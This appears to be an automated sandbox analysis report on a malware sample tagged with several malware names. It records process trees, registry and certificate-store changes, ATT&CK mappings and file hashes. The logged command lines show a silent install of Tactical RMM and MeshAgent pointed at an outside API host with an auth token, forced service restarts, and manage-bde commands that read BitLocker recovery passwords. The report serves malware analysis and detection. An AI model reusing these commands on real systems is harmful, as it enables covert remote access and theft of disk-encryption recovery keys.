\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe - Modifies system certificate store 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 tacticalrmm.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 4332 PING.EXE - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2488 tacticalrmm.exe 6056 tacticalrmm.exe 3776 powershell.exe 3776 powershell.exe 3776 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3768 taskkill.exe Token: SeDebugPrivilege 2488 tacticalrmm.exe Token: SeDebugPrivilege 6056 tacticalrmm.exe Token: SeDebugPrivilege 3776 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4708 tacticalagent-v2.11.0-windows-amd64.tmp - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3956 wrote to memory of 1156 3956 2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 88 PID 1156 wrote to memory of 4708 1156 tacticalagent-v2.11.0-windows-amd64.exe 89 PID 4708 wrote to memory of 5788 4708 tacticalagent-v2.11.0-windows-amd64.tmp 90 PID 5788 wrote to memory of 4332 5788 cmd.exe 92 PID 5788 wrote to memory of 5772 5788 cmd.exe 93 PID 5772 wrote to memory of 2840 5772 net.exe 94 PID 4708 wrote to memory of 3320 4708 tacticalagent-v2.11.0-windows-amd64.tmp 95 PID 3320 wrote to memory of 3768 3320 cmd.exe 97 PID 4708 wrote to memory of 4516 4708 tacticalagent-v2.11.0-windows-amd64.tmp 99 PID 4516 wrote to memory of 2488 4516 cmd.exe 101 PID 4708 wrote to memory of 4252 4708 tacticalagent-v2.11.0-windows-amd64.tmp 102 PID 4252 wrote to memory of 864 4252 cmd.exe 104 PID 864 wrote to memory of 2144 864 net.exe 105 PID 3956 wrote to memory of 6056 3956 2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe 106 PID 6056 wrote to memory of 4808 6056 tacticalrmm.exe 107 PID 6056 wrote to memory of 5100 6056 tacticalrmm.exe 109 PID 256 wrote to memory of 3776 256 MeshAgent.exe 111 PID 256 wrote to memory of 5156 256 MeshAgent.exe 114 PID 256 wrote to memory of 1940 256 MeshAgent.exe 117 PID 1940 wrote to memory of 2040 1940 cmd.exe 119 PID 256 wrote to memory of 1464 256 MeshAgent.exe 120 PID 1464 wrote to memory of 3176 1464 cmd.exe 122
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exeC:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Users\Admin\AppData\Local\Temp\is-D7U3E.tmp\tacticalagent-v2.11.0-windows-amd64.tmp"C:\Users\Admin\AppData\Local\Temp\is-D7U3E.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$C0070,4216799,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5788 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 25⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4332
-
-
C:\Windows\SysWOW64\net.exenet stop tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:2840
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM tacticalrmm.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3320 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM tacticalrmm.exe5⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3768
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c tacticalrmm.exe -m installsvc4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Program Files\TacticalAgent\tacticalrmm.exetacticalrmm.exe -m installsvc5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c net start tacticalrmm4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\SysWOW64\net.exenet start tacticalrmm5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start tacticalrmm6⤵
- System Location Discovery: System Language Discovery
PID:2144
-
-
-
-
-
-
C:\Program Files\TacticalAgent\tacticalrmm.exe"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://mastiffsystemsapi.mytrmm.com --client-id 43 --site-id 51 --agent-type workstation --auth 54061b12a2467a48b4e2ea56c43f77b6207615bd015c58cb67366de489fe8a7b2⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6056 -
C:\Program Files\TacticalAgent\meshagent.exe"C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall3⤵
- Sets service image path in registry
- Executes dropped EXE
- Drops file in Program Files directory
PID:4808
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid3⤵
- Executes dropped EXE
PID:5100
-
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3776
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5156
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get C: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get C: -Type recoverypassword3⤵PID:2040
-
-
-
C:\Windows\system32\cmd.exe/c manage-bde -protectors -get F: -Type recoverypassword2⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\system32\manage-bde.exemanage-bde -protectors -get F: -Type recoverypassword3⤵PID:3176
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Defense Evasion
Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files\Mesh Agent\MeshAgent.db
- Size 39KB
- SHA256 1eead59942710bfeedc443e45a5796fb55e413d70d3798ad7dbd65770b089933
- MD5 1ca0fac7436e79be04bfbf44690f5357
- SHA1 b99754be2a93f020f0e70502b6a4a9d5729ea522
- SHA512 4bc07f35478cb217c1a34fcb9cbec458f87bc0494058b8b5ed2b49ddbf87e87c50c53c7308561d74a3de98b72203272c0cf4c871d179b42e9df388bfc913ad8d
- SSDEEP 768:j+9aCVrh6/Zyo1zrQCJwR99BWFa3Em0Wt6mQEF:jtvzrw9uWt6mQEF
- TLSH T18103F71D8FADB43F2F8623952C0B4D317BE80B38932244416CEF441A427A79DD97F5A6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.db
- Size 176KB
- SHA256 1dfb292edef8c069bc8f9cb0d67988ffbae76a8e05ace7c84c33c767722f647e
- MD5 8c2f5033372cd428ba6afd4366d05acf
- SHA1 48235f4a3bacc98d1d342c7d8f927042b3f81a03
- SHA512 c3d7658746370f4aa2f7ddf4af7d01c38d6dc1baa612d49c1ecb499045b1aca9009a0073a6616fda1c1c7ce60440d242de6f88b9ddca5a7c7a806b0c8ebd83b7
- SSDEEP 3072:Zw9lvtmAIpHwOU0+Zxkkdv/rfEpJFET4GX27HpZObuU:q9lvtmtpHHc7/rfiJxG27u
- TLSH T1A104E1198E5EF03F2F9223622C0F4D317BD8173CC3264845ACDB5411467BB98A9AF5B6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.db.tmp
- Size 176KB
- SHA256 78b733876e774cdbff0d39d48345573677589d41896945e90bcba72f4141a343
- MD5 e493dbe4f849c5f0a54be563c2959797
- SHA1 01d8825a0e6b1173e1fdd92f48b0de64e023fe3f
- SHA512 2ed340dea9e93fbcdb8c7143846ebd42f671fa85d2be547423e58c1dd3af678dc069ca09b4e64cc9976c94e1f1dc13f1a854e082d3292e2618d471d042b78a0e
- SSDEEP 3072:0dw9limAIpHwOU0+Zxkkdv/rfEpJFET4GX27HpZObuU:0W9limtpHHc7/rfiJxG27u
- TLSH T1F204E1198E5EF03F2F9623622C0F4D317BD81B3CC3264845ACDB5411467BB98A9AF5B6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\TacticalAgent\meshagent.exe
- Size 3.3MB
- SHA256 905583adba45b5dd0ec8f33974853fc1fd2515169763fdc973dddcdb20eb249e
- MD5 2a2c42ee70530b0a594cf5eb49c921da
- SHA1 ce2fea2e7c8ac08e65c5c372cce53368430e3ceb
- SHA512 ea1893ca3ab3ce9049f51ff10013798050ed42d7ec02eeb626b228ec310d03c9af9fa5c9e33fa85930c76458e96c22b54f5a9399edbf9f3fd1f9840976680935
- SSDEEP 49152:0MSGj9zai9bsddr7AaPcZumeRQyKpzSPQBcnMFvf8AC4Z78bRwlI5f+:hd9AddBcryO3cICgI9+
- TLSH T1E4F57CD2A7A600E8E977F23CC9568517E7F2B81713709BCF25A44A660F236D12B3E741
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\TacticalAgent\tacticalrmm.exe
- Size 11.8MB
- SHA256 50bd75acffec398028502fca967529f72cff40083dfbe137a9712628bcc0fef1
- MD5 80870a33b3193b4ff3f7a69b5d7c0435
- SHA1 cdde55f326b3a65eb245955dffc36df9a67e4d3a
- SHA512 4b91cf7f666a702c46b2475e8cd71808b8ce4676049b126d9be132b470bb04b57be01fd68b2746ed6f4cba230f8acf3826b8150d9e4fd6fcb9c902e9e77c9670
- SSDEEP 98304:MI3j/UYn30X1kTDVvCXjMbvO/E4QZBRABbgFxfvr4T:HQYEFK1EuOch/Cpofvrc
- TLSH T1A3C64B07F85551E8C5AED174CA659222BA713C890B3067D72BA0F7B83F33BD46A7A350
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
- Size 5.0MB
- SHA256 99b5544169550f7915322411b90af71dc9883d53ba5938025e7db440b6cc1d5e
- MD5 2d4dc1db99354c263cb0d1aece38a6e1
- SHA1 8dc78c7e4319c07a7841e5ffb5efd364fb8fb84e
- SHA512 fd3e496b1d299f55f6c4eae048523b00fe8283a12d6601de611d5895a3bcb8ebfb4bf8788b273b53f01784825e402863b6a67e382e4c85e2772601d76942bd6b
- SSDEEP 98304:rxHXsCT42oq6JMQ0tJ0QBuBai0IrQfkm23FaoHKUdwwT3EQSQAIbC4qYh:VsCTdo5MDtJBu42Qfj8QUdwwTUQSl4x
- TLSH T14736121372CB653FE07A4A364972D232543B7E60AA128C66A7F45C6FFE261D01D3F642
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\is-D7U3E.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
- Size 3.4MB
- SHA256 4e50d7fcd52abdf13c2159b53b6a4fa7c6483c3eaebf3bf792db129e6fd80e73
- MD5 f6b0c1231af7693ae81b0db9f49ae666
- SHA1 0a67071ce00758cc28d00ed1c2bd4b9ab8e70e47
- SHA512 2a6b41df2def3d29fecffd601edc2dc25094ec1f073d9d4b6d4707139849ace99f0e5653942260f96670d319e8f37cf4ef48f672b840ae2810be29c9df2cb423
- SSDEEP 49152:2WwGHAkqMu7ot6SCiGogq5i18ue5TEhkq2nV9oNq3Z52gu3cfcW333dKR:29GdkS5i181E2V9oKdu3W333dy
- TLSH T126F55C23F24D693ED05B3E3D663792B0987B7A602D128C576AEC3E4C5F355802E2A747
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\3375EF9E1C7B585F908BF63340F43DBADB90F7F8
- Size 1KB
- SHA256 5e5cc30ba112dba9ce219a3bffd65d3003ce403d916cab2ef565407b9d384afb
- MD5 b2d5efaa0aca138d917f96b0d9d1cbfe
- SHA1 15cea8a4cfa8c8607ed6f4b40a9878ba441c6b4e
- SHA512 d0c0a315a6ca2a2eeca9e58395f082a712fda663895590a3fcfa6e3e6a2760f734c3cbae3b9e63ebdc5c91d6dcbbc9581b149c105255c99cc829c7d60742f5e1
- TLSH T1BA21B41233E88C65FCEA7D7190388F365931EEB21416D80E220B35E89E09DF2576360B
- MD5 SHA1 SHA512 TLSH